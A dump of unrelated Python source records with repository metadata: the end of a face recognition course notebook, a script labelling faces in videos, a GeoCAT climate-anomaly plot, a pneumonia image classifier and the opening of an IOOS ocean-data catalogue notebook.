But since Kian got his ID card stolen, when he came back to the office the next day he couldn't get in!\n# \n# To solve this, you'd like to change your face verification system to a face recognition system. This way, no one has to carry an ID card anymore. An authorized person can just walk up to the building, and the door will unlock for them!\n# \n# You'll implement a face recognition system that takes as input an image, and figures out if it is one of the authorized persons (and if so, who). Unlike the previous face verification system, you will no longer get a person's name as one of the inputs.\n# \n# <a name='ex-3'></a>\n# ### Exercise 3 - who_is_it\n# \n# Implement `who_is_it()` with the following steps:\n# \n# - Compute the target encoding of the image from `image_path`\n# - Find the encoding from the database that has smallest distance with the target encoding.\n# - Initialize the `min_dist` variable to a large enough number (100). This helps you keep track of the closest encoding to the input's encoding.\n# - Loop over the database dictionary's names and encodings. To loop use for (name, db_enc) in `database.items()`.\n# - Compute the L2 distance between the target \"encoding\" and the current \"encoding\" from the database. If this distance is less than the min_dist, then set min_dist to dist, and identity to name.\n\n# In[33]:\n\n\n# UNQ_C3(UNIQUE CELL IDENTIFIER, DO NOT EDIT)\n# GRADED FUNCTION: who_is_it\n\ndef who_is_it(image_path, database, model):\n    \"\"\"\n    Implements face recognition for the office by finding who is the person on the image_path image.\n    \n    Arguments:\n        image_path -- path to an image\n        database -- database containing image encodings along with the name of the person on the image\n        model -- your Inception model instance in Keras\n    \n    Returns:\n        min_dist -- the minimum distance between image_path encoding and the encodings from the database\n        identity -- string, the name prediction for the person on image_path\n    \"\"\"\n    \n    ### START CODE HERE\n\n    ## Step 1: Compute the target \"encoding\" for the image. Use img_to_encoding() see example above. ## (\u2248 1 line)\n    encoding =  img_to_encoding(image_path, model)\n    \n    ## Step 2: Find the closest encoding ##\n    \n    # Initialize \"min_dist\" to a large value, say 100 (\u22481 line)\n    min_dist = 100\n    \n    # Loop over the database dictionary's names and encodings.\n    for (name, db_enc) in database.items():\n        \n        # Compute L2 distance between the target \"encoding\" and the current db_enc from the database. (\u2248 1 line)\n        dist = np.linalg.norm(db_enc - encoding)\n\n        # If this distance is less than the min_dist, then set min_dist to dist, and identity to name. (\u2248 3 lines)\n        if dist < min_dist:\n            min_dist = dist\n            identity = name\n    ### END CODE HERE\n    \n    if min_dist > 0.7:\n        print(\"Not in the database.\")\n    else:\n        print (\"it's \" + str(identity) + \", the distance is \" + str(min_dist))\n        \n    return min_dist, identity\n\n\n# Younes is at the front door and the camera takes a picture of him (\"images/camera_0.jpg\"). Let's see if your `who_it_is()` algorithm identifies Younes.\n\n# In[34]:\n\n\n# BEGIN UNIT TEST\n# Test 1 with Younes pictures \nwho_is_it(\"images/camera_0.jpg\", database, FRmodel)\n\n# Test 2 with Younes pictures \ntest1 = who_is_it(\"images/camera_0.jpg\", database, FRmodel)\nassert np.isclose(test1[0], 0.5992946)\nassert test1[1] == 'younes'\n\n# Test 3 with Younes pictures \ntest2 = who_is_it(\"images/younes.jpg\", database, FRmodel)\nassert np.isclose(test2[0], 0.0)\nassert test2[1] == 'younes'\n# END UNIT TEST\n\n\n# **Expected Output**:\n# \n# <table>\n#     <tr>\n#         <td>\n#             <b>it's Younes, the distance is 0.5992946</b>\n#         </td>\n#         <td>\n#            (0.5992946, 'younes')\n#         </td>\n#     </tr>\n#     </table>\n# \n# You can change \"camera_0.jpg\" (picture of Younes) to \"camera_1.jpg\" (picture of Bertrand) and see the result.\n\n# **Congratulations**! \n# You've completed this assignment, and your face recognition system is working well! It not only lets in authorized persons, but now people don't need to carry an ID card around anymore!\n# \n# You've now seen how a state-of-the-art face recognition system works, and can describe the difference between face recognition and face verification. Here's a quick recap of what you've accomplished: \n# \n# - Posed face recognition as a binary classification problem\n# - Implemented one-shot learning for a face recognition problem\n# - Applied the triplet loss function to learn a network's parameters in the context of face recognition\n# - Mapped face images into 128-dimensional encodings using a pretrained model\n# - Performed face verification and face recognition with these encodings\n# \n# Great work! \n\n# <font color='blue'>\n#     \n# **What you should remember**:\n# \n# - Face verification solves an easier 1:1 matching problem; face recognition addresses a harder 1:K matching problem.\n#     \n# - Triplet loss is an effective loss function for training a neural network to learn an encoding of a face image.\n#     \n# - The same encoding can be used for verification and recognition. Measuring distances between two images' encodings allows you to determine whether they are pictures of the same person.\n\n# **Ways to improve your facial recognition model**:\n# \n# Although you won't implement these here, here are some ways to further improve the algorithm:\n# \n# - Put more images of each person (under different lighting conditions, taken on different days, etc.) into the database. Then, given a new image, compare the new face to multiple pictures of the person. This would increase accuracy.\n# \n# - Crop the images to contain just the face, and less of the \"border\" region around the face. This preprocessing removes some of the irrelevant pixels around the face, and also makes the algorithm more robust.\n\n# <a name='6'></a>\n# ## 6 - References\n# 1. Florian Schroff, Dmitry Kalenichenko, James Philbin (2015). [FaceNet: A Unified Embedding for Face Recognition and Clustering](https://arxiv.org/pdf/1503.03832.pdf)\n# \n# 2. Yaniv Taigman, Ming Yang, Marc'Aurelio Ranzato, Lior Wolf (2014). [DeepFace: Closing the gap to human-level performance in face verification](https://research.fb.com/wp-content/uploads/2016/11/deepface-closing-the-gap-to-human-level-performance-in-face-verification.pdf)\n# \n# 3. This implementation also took a lot of inspiration from the official FaceNet github repository: https://github.com/davidsandberg/facenet\n# \n# 4. Further inspiration was found here: https://machinelearningmastery.com/how-to-develop-a-face-recognition-system-using-facenet-in-keras-and-an-svm-classifier/\n# \n# 5. And here: https://github.com/nyoki-mtl/keras-facenet/blob/master/notebook/tf_to_keras.ipynb\n", "meta": {"hexsha": "bd46b1f3d6b273153c1cb2da9bd4b44322a39fa0", "size": 29722, "ext": "py", "lang": "Python", "max_stars_repo_path": "4 - Convolutional Neural Networks/Face_Recognition.py", "max_stars_repo_name": "pouyalj/DeepLearningCoursera", "max_stars_repo_head_hexsha": "4c0d79a53bbdd24fbb77503fed35e73d24949be2", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-01-01T00:14:18.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-01T00:14:18.000Z", "max_issues_repo_path": "4 - Convolutional Neural Networks/Face_Recognition.py", "max_issues_repo_name": "pouyalj/DeepLearningCoursera", "max_issues_repo_head_hexsha": "4c0d79a53bbdd24fbb77503fed35e73d24949be2", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "4 - Convolutional Neural Networks/Face_Recognition.py", "max_forks_repo_name": "pouyalj/DeepLearningCoursera", "max_forks_repo_head_hexsha": "4c0d79a53bbdd24fbb77503fed35e73d24949be2", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 45.2389649924, "max_line_length": 463, "alphanum_fraction": 0.6955790324, "include": true, "reason": "import numpy,from numpy", "num_tokens": 8089, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47657965106367595, "lm_q2_score": 0.19193279106941585, "lm_q1q2_score": 0.09147126259553963}}
{"text": "import face_recognition\nimport cv2\nimport numpy as np\nimport os\nimport sys\nimport subprocess\nimport argparse\nfrom utils import col, removeExtension\n\n\ndef parse_args():\n    parser = argparse.ArgumentParser(\n        description=\"Highlight recognized faces in videos\")\n    parser.add_argument(\"files\", metavar=\"filepath\", type=str,\n                        nargs=\"+\", help=\"file path of videos to process\")\n    parser.add_argument(\"-a\", \"--accuracy\", dest=\"accuracy\", type=float,\n                        help=\"the factor the video will get scaled down by before processing (faster; noninversive)\")\n    arguments = vars(parser.parse_args())\n    return arguments\n\n\ndef main(options):\n    if options.get(\"accuracy\", None) != None:\n        ACCURACY = options[\"accuracy\"]\n    else:\n        ACCURACY = 0.25\n\n    print(\"using accuracy of \" + str(ACCURACY))\n\n    for video in options.get(\"files\", []):\n        FILE_PATH = options.get(\"files\", [])[options.get(\"files\").index(video)]\n        FILE_NAME = removeExtension(FILE_PATH).replace(\"videos/\", \"\")\n        NEW_FILE_PATH = \"videos/\" + FILE_NAME + \"-rec.mp4\"\n\n        # extracting audio as mp3\n        os.system(\"ffmpeg -i \" + FILE_PATH + \" -loglevel warning temp/\" +\n                  FILE_NAME + \".mp3\")\n\n        # getting framerate of video\n        cmd = ['ffprobe', '-v', '0', '-of', 'csv=p=0', '-select_streams',\n               'v:0', '-show_entries', 'stream=r_frame_rate', FILE_PATH]\n        FRAME_RATE = subprocess.Popen(\n            cmd, stdout=subprocess.PIPE).communicate()[0]\n        FRAME_RATE = str(FRAME_RATE).replace(\"b\", \"\").replace(\n            \"\\n\", \"\").replace(\"\\\\n\", \"\").replace(\"'\", \"\")\n        frame_rate_divisors = FRAME_RATE.split(\"/\")\n        FRAME_RATE = float(\n            int(frame_rate_divisors[0]) / int(frame_rate_divisors[1]))\n\n        video_capture = cv2.VideoCapture(FILE_PATH)\n\n        known_face_encodings = []\n        known_face_names = []\n\n        for i in os.listdir(\"faces\"):\n            if i == \".DS_Store\":\n                continue\n            f = face_recognition.load_image_file(\"faces/\" + str(i))\n            try:\n                encoding = face_recognition.face_encodings(f)[0]\n            except IndexError:\n                print(\"no encoding available for \" + str(i))\n                continue\n            known_face_encodings.append(encoding)\n            known_face_names.append(str(i))\n\n        # Initialize some variables\n        face_locations = []\n        face_encodings = []\n        face_names = []\n        process_this_frame = True\n\n        cc = cv2.VideoWriter_fourcc(*\"MP4V\")\n        writer = cv2.VideoWriter(NEW_FILE_PATH, cc, FRAME_RATE, (1920, 1080))\n\n        try:\n            while True:\n                # Grab a single frame of video\n                ret, frame = video_capture.read()\n\n                # Resize frame of video to 1/4 size for faster face recognition processing\n                small_frame = cv2.resize(\n                    frame, (0, 0), fx=ACCURACY, fy=ACCURACY)\n\n                # Convert the image from BGR color (which OpenCV uses) to RGB color (which face_recognition uses)\n                rgb_small_frame = small_frame[:, :, ::-1]\n\n                # Only process every other frame of video to save time\n                if process_this_frame:\n                    # Find all the faces and face encodings in the current frame of video\n                    face_locations = face_recognition.face_locations(\n                        rgb_small_frame)\n                    face_encodings = face_recognition.face_encodings(\n                        rgb_small_frame, face_locations)\n\n                    face_names = []\n                    for face_encoding in face_encodings:\n                        # See if the face is a match for the known face(s)\n                        matches = face_recognition.compare_faces(\n                            known_face_encodings, face_encoding)\n                        name = \"Unknown\"\n\n                        # # If a match was found in known_face_encodings, just use the first one.\n                        # if True in matches:\n                        #     first_match_index = matches.index(True)\n                        #     name = known_face_names[first_match_index]\n\n                        # Or instead, use the known face with the smallest distance to the new face\n                        face_distances = face_recognition.face_distance(\n                            known_face_encodings, face_encoding)\n                        best_match_index = np.argmin(face_distances)\n                        if matches[best_match_index]:\n                            name = known_face_names[best_match_index]\n\n                        face_names.append(name)\n\n                process_this_frame = not process_this_frame\n\n                # Display the results\n                for (top, right, bottom, left), name in zip(face_locations, face_names):\n                    # Scale back up face locations since the frame we detected in was scaled to 1/4 size\n                    top *= int(1 / ACCURACY)\n                    right *= int(1 / ACCURACY)\n                    bottom *= int(1 / ACCURACY)\n                    left *= int(1 / ACCURACY)\n\n                    # Draw a box around the face\n                    cv2.rectangle(frame, (left, top),\n                                  (right, bottom), (0, 0, 255), 2)\n\n                    # Draw a label with a name below the face\n                    cv2.rectangle(frame, (left, bottom - 35),\n                                  (right, bottom), (0, 0, 255), cv2.FILLED)\n                    font = cv2.FONT_HERSHEY_DUPLEX\n                    cv2.putText(frame, name, (left + 6, bottom - 6),\n                                font, 1.0, (255, 255, 255), 1)\n\n                # Display the resulting image\n                cv2.imshow('Video', frame)\n                writer.write(frame)\n\n                # Hit 'q' on the keyboard to quit!\n                if cv2.waitKey(1) & 0xFF == ord('q'):\n                    break\n        except Exception as e:\n            print(col.FAIL + \"Error: \" + col.ENDC + str(e))\n        finally:\n            writer.release()\n            video_capture.release()\n            cv2.destroyAllWindows()\n\n        # write extracted mp3 from temp/ to FILE_PATH\n        os.system(\n            f\"ffmpeg -i {NEW_FILE_PATH} -i temp/{FILE_NAME}.mp3 -loglevel warning -y {removeExtension(NEW_FILE_PATH)}-with_audio.mp4\")\n        os.remove(\"temp/\" + str(FILE_NAME) + \".mp3\")\n        os.remove(NEW_FILE_PATH)\n\n\nif __name__ == \"__main__\":\n    main(parse_args())\n", "meta": {"hexsha": "b6daa086c007051016ef609de0c3771bf1534a30", "size": 6552, "ext": "py", "lang": "Python", "max_stars_repo_path": "facerec.py", "max_stars_repo_name": "mithem/ytHelper", "max_stars_repo_head_hexsha": "c4ba3cefcd02886ac752b38b03c679f85610fdff", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-07-08T05:17:03.000Z", "max_stars_repo_stars_event_max_datetime": "2021-07-08T05:17:03.000Z", "max_issues_repo_path": "facerec.py", "max_issues_repo_name": "mithem/ytHelper", "max_issues_repo_head_hexsha": "c4ba3cefcd02886ac752b38b03c679f85610fdff", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "facerec.py", "max_forks_repo_name": "mithem/ytHelper", "max_forks_repo_head_hexsha": "c4ba3cefcd02886ac752b38b03c679f85610fdff", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 40.6956521739, "max_line_length": 134, "alphanum_fraction": 0.5409035409, "include": true, "reason": "import numpy", "num_tokens": 1375, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5273165233795671, "lm_q2_score": 0.1732882101987896, "lm_q1q2_score": 0.09137773654469337}}
{"text": "\"\"\"\nNCL_xy_18.py\n============\nThis script illustrates the following concepts:\n    - Filling the area between two curves in an XY plot\n    - Labeling the bottom X axis with years\n    - Drawing a main title on three separate lines\n    - Calculating a weighted average\n    - Changing the size/shape of an XY plot using viewport resources\n    - Manually creating a legend\n    - Overlaying XY plots on each other\n    - Maximizing plots after they've been created\n\nSee following URLs to see the reproduced NCL plot & script:\n    - Original NCL script: https://www.ncl.ucar.edu/Applications/Scripts/xy_18.ncl\n    - Original NCL plot: https://www.ncl.ucar.edu/Applications/Images/xy_18_lg.png\n\"\"\"\n\n###############################################################################\n# Import packages:\n\nimport numpy as np\nimport xarray as xr\nfrom matplotlib import pyplot as plt\n\nimport geocat.datafiles as gdf\nfrom geocat.viz import util as gvutil\n\n###############################################################################\n# Read in data:\n# -------------\n#\n# Open files and read in monthly data\n#\n# Xarray's ``open_mfdataset`` (open multi-file dataset) method will attempt to\n# merge all of the individual datasets (i.e., NetCDF files) into one single\n# Xarray ``Dataset``.  The ``concat_dim`` and ``combine`` keyword arguments to\n# this method give you control over how this merging takes place (see the\n# Xarray documentation for more information).\n#\n# In the below example, each NetCDF file represents the same variables and\n# coordinates, but from a different ensemble member.  There is no ``case`` (or\n# ensemble) dimension explicitly declared in the files, so we use the\n# ``concat_dim`` argument to state that we will create a new dimension called\n# ``case`` that spans the ensemble members.  Here, each file contains a\n# ``TREFHT`` variable that depends upon dimensions ``(time, lat, lon)`` and\n# coordinate variables ``time``, ``lat`` and ``lon``.  After opening these\n# files with ``open_mfdataset``, the resulting Xarray ``Dataset`` will consist\n# of a ``TREFHT`` variable that depends upon dimensions ``(case, time, lat, lon)``\n# and coordinate variables ``case``, ``time``, ``lat`` and ``lon``.\n#\n# **NOTE:** One of the files (``TREFHT.B06.69.atm.1890-1999ANN.nc``) contains\n# a ``time`` coordinate variable with a ``calendar`` attribute having the\n# value ``noleap`` (i.e., the \"No leap year\" non-standard calendar).  The\n# ``time`` coordinate variable in all of the other files do not have a\n# ``calendar`` attribute *at all*.  By default, when Xarray's ``open_mfdataset``\n# reads each individual dataset, it will attempt to decode the ``time`` coordinate\n# into an appropriate ``datetime`` object, so that you can then take advantage of\n# Xarray's (and Pandas's) excellent time-series manipulation capabilities.\n# However, due to the lacking ``calendar`` attribute in most of the files\n# (which, according to CF conventions, defaults to the ``standard`` Gregorian\n# calendar) and the ``noleap`` calendar attribute in one of the files, the\n# ``time`` coordinate variable will be interpreted as \"non-uniform\" across all\n# of the datasets.  To fix this problem, we tell Xarray's ``open_mfdataset``\n# function to *not* decode the ``time`` coordinate into ``datetime`` objects\n# by passing the ``decode_times=False`` argument.  Second, we pass a pre-processing\n# function via the ``preprocess`` argument to ``open_mfdataset``, telling\n# Xarray to read each individual dataset from file (with the ``decode_times=False``\n# option) and then modify the resulting dataset according to the pre-processing\n# function.  In this case, the pre-processing function (``assume_noleap_calendar``)\n# takes the single-file dataset, sets the ``calendar`` attribute of the ``time``\n# coordinate variable to ``noleap``, and returns the *decoded* dataset (using\n# the Xarray function ``decode_cf``).  Work-arounds like this are needed\n# whenever you have \"errors\" or \"inconsistancies\" in your data.\n\n\n# Define the xarray.open_mfdataset pre-processing function\n# (Must take an xarray.Dataset as input and return an xarray.Dataset)\ndef assume_noleap_calendar(ds):\n    ds.time.attrs['calendar'] = 'noleap'\n    return xr.decode_cf(ds)\n\n\n# Create a dataset for the \"natural\" (i.e., no anthropogenic effects) data\nnfiles = [\n    gdf.get(\"netcdf_files/TREFHT.B06.66.atm.1890-1999ANN.nc\"),\n    gdf.get(\"netcdf_files/TREFHT.B06.67.atm.1890-1999ANN.nc\"),\n    gdf.get(\"netcdf_files/TREFHT.B06.68.atm.1890-1999ANN.nc\"),\n    gdf.get(\"netcdf_files/TREFHT.B06.69.atm.1890-1999ANN.nc\")\n]\nnds = xr.open_mfdataset(nfiles,\n                        concat_dim='case',\n                        combine='nested',\n                        preprocess=assume_noleap_calendar,\n                        decode_times=False)\n\n# Create a dataset for the \"natural + anthropogenic\" data\nvfiles = [\n    gdf.get(\"netcdf_files/TREFHT.B06.61.atm.1890-1999ANN.nc\"),\n    gdf.get(\"netcdf_files/TREFHT.B06.59.atm.1890-1999ANN.nc\"),\n    gdf.get(\"netcdf_files/TREFHT.B06.60.atm.1890-1999ANN.nc\"),\n    gdf.get(\"netcdf_files/TREFHT.B06.57.atm.1890-1999ANN.nc\")\n]\nvds = xr.open_mfdataset(vfiles,\n                        concat_dim='case',\n                        combine='nested',\n                        preprocess=assume_noleap_calendar,\n                        decode_times=False)\n\n# Read the \"weights\" file\n# (The xarray.Dataset.expand_dims call adds the longitude dimension to the\n# dataset, which originally depends only upon the latitude dimension. This\n# arguably makes computing the weighted means below more straight-forward.)\ngds = xr.open_dataset(gdf.get(\"netcdf_files/gw.nc\"))\ngds = gds.expand_dims(dim={'lon': nds.lon})\n\n###############################################################################\n# Observations:\n# -------------\n#\n# Read in the observational data from an ASCII (text) file.  Here, we use\n# Numpy's nice ``loadtxt`` method to read the data from the text file and\n# return a Numpy array with ``float`` type.  Then, we construct an Xarray\n# ``DataArray`` explicitly, since the time values are not stored in the\n# ASCII data file (we have to know them!).\n\nobs_data = np.loadtxt(gdf.get(\"ascii_files/jones_glob_ann_2002.asc\"),\n                      dtype=float)\nobs_time = xr.cftime_range('1856-07-16T22:00:00',\n                           freq='365D',\n                           periods=len(obs_data),\n                           calendar='noleap')\nobs = xr.DataArray(name='TREFHT', data=obs_data, coords=[('time', obs_time)])\n\n###############################################################################\n# NCL-based Weighted Mean Function:\n# ---------------------------------\n#\n# We define this function just for convenience.  This is equivalent to how\n# NCL computes the weighted mean.\n\n\ndef horizontal_weighted_mean(var, wgts):\n    return (var * wgts).sum(dim=['lat', 'lon']) / wgts.sum(dim=['lat', 'lon'])\n\n\n###############################################################################\n# Natural data:\n# -------------\n#\n# We compute the weighted mean across the latitude and longitude dimensions\n# (leaving only the ``case`` and ``time`` dimensions), and then we compute the\n# anomaly measured from the average of the first 30 years.\n\ngavn = horizontal_weighted_mean(nds[\"TREFHT\"], gds[\"gw\"])\ngavan = gavn - gavn.sel(time=slice('1890', '1920')).mean(dim='time')\n\n###############################################################################\n# Natural + Anthropogenic data:\n# -----------------------------\n#\n# We do the same thing for the \"natural + anthropogenic\" data.\n\ngavv = horizontal_weighted_mean(vds[\"TREFHT\"], gds[\"gw\"])\ngavav = gavv - gavv.sel(time=slice('1890', '1920')).mean(dim='time')\n\n###############################################################################\n# Observation data:\n# -----------------\n#\n# We do the same thing for the observation data.\n\nobs_avg = obs.sel(time=slice('1890', '1999')) - obs.sel(\n    time=slice('1890', '1920')).mean(dim='time')\n\n###############################################################################\n# Calculate the ensemble Min. & Max. & Mean:\n# ------------------------------------------\n#\n# Here we find the ``min``, ``max``, and ``mean`` along the ``case`` (i.e.,\n# ensemble) dimension (leaving only the ``time`` dimension) for both of our\n# datasets.  We compute the equivalent anomaly for the observations data.\n\ngavan_min = gavan.min(dim='case')\ngavan_max = gavan.max(dim='case')\ngavan_avg = gavan.mean(dim='case')\n\ngavav_min = gavav.min(dim='case')\ngavav_max = gavav.max(dim='case')\ngavav_avg = gavav.mean(dim='case')\n\n###############################################################################\n# Plot:\n# -----\n\n# Generate figure (set its size (width, height) in inches) and axes\nfig, ax = plt.subplots(figsize=(10.5, 6))\n\n# We create the time axis data, not as datetime objects, but as just years\n# The following line of code is equivalent to this:\n#     time = [t.year for t in gavan.time.values]\n# but it uses Xarray's convenient DatetimeAccessor functionality.\ntime = gavan.time.dt.year\n\n# Plot data and add a legend\nax.plot(time, obs_avg, color='black', label='Observations', zorder=4)\nax.plot(time, gavan_avg, color='blue', label='Natural', zorder=3)\nax.plot(time, gavav_avg, color='red', label='Anthropogenic + Natural', zorder=2)\nax.legend(loc='upper left', frameon=False, fontsize=18)\n\n# Use geocat.viz.util convenience function to add minor and major tick lines\ngvutil.add_major_minor_ticks(ax,\n                             x_minor_per_major=4,\n                             y_minor_per_major=3,\n                             labelsize=20)\n\n# Use geocat.viz.util convenience function to set axes limits & tick values without calling several matplotlib functions\ngvutil.set_axes_limits_and_ticks(ax,\n                                 xlim=(1890, 2000),\n                                 ylim=(-0.4, 1),\n                                 xticks=np.arange(1900, 2001, step=20),\n                                 yticks=np.arange(-0.3, 1, step=0.3))\n\n# Set three titles on top of each other using axes title and texts\nax.set_title('Parallel Climate Model Ensembles', fontsize=24, pad=60.0)\nax.text(0.5,\n        1.125,\n        'Global Temperature Anomalies',\n        fontsize=18,\n        ha='center',\n        va='center',\n        transform=ax.transAxes)\nax.text(0.5,\n        1.06,\n        'from 1890-1919 average',\n        fontsize=14,\n        ha='center',\n        va='center',\n        transform=ax.transAxes)\nax.set_ylabel('$^\\circ$C', fontsize=24)\nax.fill_between(time, gavan_min, gavan_max, color='lightblue', zorder=0)\nax.fill_between(time, gavav_min, gavav_max, color='lightpink', zorder=1)\n\n# Show the plot\nplt.tight_layout()\nplt.show()\n", "meta": {"hexsha": "c620b1bbaf8f36cca1c2e58d1c8438617f1fc377", "size": 10688, "ext": "py", "lang": "Python", "max_stars_repo_path": "Plots/XY/NCL_xy_18.py", "max_stars_repo_name": "NCAR/GeoCAT-examples", "max_stars_repo_head_hexsha": "fba1b045ba5145fa48cf2f3c1e3b3c7c863b0b5b", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 42, "max_stars_repo_stars_event_min_datetime": "2020-03-03T16:19:30.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-18T09:03:26.000Z", "max_issues_repo_path": "Plots/XY/NCL_xy_18.py", "max_issues_repo_name": "netgodz/GeoCAT-examples", "max_issues_repo_head_hexsha": "5ed9a1d68b69a921d0f1fee1160e109853926ed9", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 351, "max_issues_repo_issues_event_min_datetime": "2019-12-20T22:10:47.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-16T20:46:09.000Z", "max_forks_repo_path": "Plots/XY/NCL_xy_18.py", "max_forks_repo_name": "netgodz/GeoCAT-examples", "max_forks_repo_head_hexsha": "5ed9a1d68b69a921d0f1fee1160e109853926ed9", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 32, "max_forks_repo_forks_event_min_datetime": "2020-01-06T21:18:48.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-31T13:45:01.000Z", "avg_line_length": 43.2712550607, "max_line_length": 120, "alphanum_fraction": 0.6268712575, "include": true, "reason": "import numpy", "num_tokens": 2579, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.18242552825126704, "lm_q1q2_score": 0.09121276412563352}}
{"text": "import numpy as np\nimport cv2\nimport os\nfrom PIL import Image\n#from tensorflow import keras\nfrom tensorflow.keras.models import model_from_json\nfrom colorama import Fore, Back\n#import tensorflow as tf\n\nRESULT_LIST = [\"Positive, Bacterial\", \"Negative\", \"Positive, Viral\"]\n\ndef create_model(model_file):\n    with open(model_file, \"r\") as json_file:\n        loaded_model_json = json_file.read()\n        loaded_model_json = model_from_json(loaded_model_json)\n    return loaded_model_json\n\n\n\ndef run_predictions(path_to_img):\n    model = create_model(\"model/model.json\")\n    model.load_weights(\"model/weights.h5\")\n    #print(model.summary())\n    img = cv2.imread(path_to_img)\n    img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n    #width, height = img.shape[:2]\n    img = cv2.resize(img , (200, 200))\n    res = np.argmax(model.predict(img[np.newaxis, :, :]))\n    if (res == 0):\n        print(Fore.MAGENTA + Back.BLACK + \"Positive, Bacterial\")\n    elif (res == 1):\n        print(Fore.GREEN + Back.BLACK + \"Negative\")\n    else:\n        print(Fore.CYAN + Back.BLACK + \"Positive, Viral\")\n\n\ninput_img = input(\"Enter image name: \")\n\npath_to_img = os.path.join(\"images\", input_img)\nrun_predictions(path_to_img)\n\n", "meta": {"hexsha": "56d1cb9c1ff0e2bdbde48e34dbaee6781ade7ee4", "size": 1196, "ext": "py", "lang": "Python", "max_stars_repo_path": "pneumonia.py", "max_stars_repo_name": "radioactive11/Pneumonia-Classifier", "max_stars_repo_head_hexsha": "707397d51889d9973c40c355e1c088e36c44479e", "max_stars_repo_licenses": ["MIT", "Unlicense"], "max_stars_count": 8, "max_stars_repo_stars_event_min_datetime": "2020-08-20T11:16:03.000Z", "max_stars_repo_stars_event_max_datetime": "2020-10-22T06:58:14.000Z", "max_issues_repo_path": "pneumonia.py", "max_issues_repo_name": "radioactive11/Pneumonia-Classifier", "max_issues_repo_head_hexsha": "707397d51889d9973c40c355e1c088e36c44479e", "max_issues_repo_licenses": ["MIT", "Unlicense"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2020-10-01T07:06:21.000Z", "max_issues_repo_issues_event_max_datetime": "2020-10-01T07:06:21.000Z", "max_forks_repo_path": "pneumonia.py", "max_forks_repo_name": "radioactive11/Pneumonia-Classifier", "max_forks_repo_head_hexsha": "707397d51889d9973c40c355e1c088e36c44479e", "max_forks_repo_licenses": ["MIT", "Unlicense"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 28.4761904762, "max_line_length": 68, "alphanum_fraction": 0.6931438127, "include": true, "reason": "import numpy", "num_tokens": 301, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5195213219520929, "lm_q2_score": 0.17553806931030444, "lm_q1q2_score": 0.09119576982100747}}
{"text": "# -*- coding: utf-8 -*-\n# <nbformat>3.0</nbformat>\n\n# <markdowncell>\n\n# ># IOOS System Test: [Extreme Events Theme:](https://github.com/ioos/system-test/wiki/Development-of-Test-Themes#theme-2-extreme-events) Inundation\n\n# <markdowncell>\n\n# ### This is a single \"spin-off notebook\" for the basic oceanography variables (wind, waves, currents, and water level) to test all CSW end points for multiple geographies. \n# \n# ### Questions\n# * Is data available for the basic oceanography variables in the CSW endpoints for multiple locations?\n# * Let's take it one step further. Is the data recent (< 1 month)?\n# \n# ####Methodology:\n# \n# * Define temporal and spatial bounds of interest\n# * Show bounding boxes being tested on a map\n# * Define standard names of variables of interest to search for in data sets\n# * Search for available service endpoints in the CSW catalogs meeting the search criteria for each variable\n# * Plot the results in a horizontal bar graph\n\n# <markdowncell>\n\n# ### import required libraries\n\n# <codecell>\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfrom owslib.csw import CatalogueServiceWeb\nfrom owslib import fes\nfrom owslib.ows import ExceptionReport\n\nimport folium\nimport pandas as pd\nimport itertools\nimport datetime as dt\nfrom utilities import (fes_date_filter, service_urls, get_coordinates, inline_map, css_styles, \n                       insert_progress_bar, update_progress_bar)\ncss_styles()\n\n# <markdowncell>\n\n# ### Define spatial bounds of interest\n\n# <codecell>\n\nbounding_box_type = \"box\" \n\n# Bounding Box [lon_min, lat_min, lon_max, lat_max]\nlocations = {'Hawaii': [-160.0, 18.0, -154., 23.0],\n             'Caribbean': [-75, 12, -55, 26],\n             'East Coast': [-77, 30, -70, 40],\n             'North West': [-130, 38, -121, 50],\n             'Gulf of Mexico': [-94, 26, -84, 32],\n             'Arctic': [-179, 63, 179, 80],\n             'North East': [-74, 40, -67, 46]}\n\n# <markdowncell>\n\n# ### Plot the bounding boxes\n\n# <codecell>\n\nlat_center = 45\nlon_center = -90\nm = folium.Map(location=[lat_center, lon_center], zoom_start=2)\n\n# Loop through bounding boxes\nfor location, bounding_box in locations.iteritems():\n    # Create popup string for the bounding box\n    popup_string = location\n    m.line(get_coordinates(bounding_box, bounding_box_type), line_color='#FF0000', line_weight=5)\n\ninline_map(m)\n\n# <markdowncell>\n\n# ### Define standard names of variable of interest to search for in data sets\n\n# <markdowncell>\n\n# <div class=\"warning\"><strong></strong> - We need to specify all the names we know for each variable, names that will get used in the CSW search, and also to find data in the datasets that are returned. This is ugly and fragile. There hopefully will be a better way in the future...</div>\n\n# <codecell>\n\n# put the names in a dict for ease of access \nnames_dict = {}\nnames_dict[\"waves\"] = {\"names\": ['sea_surface_wave_significant_height',\n       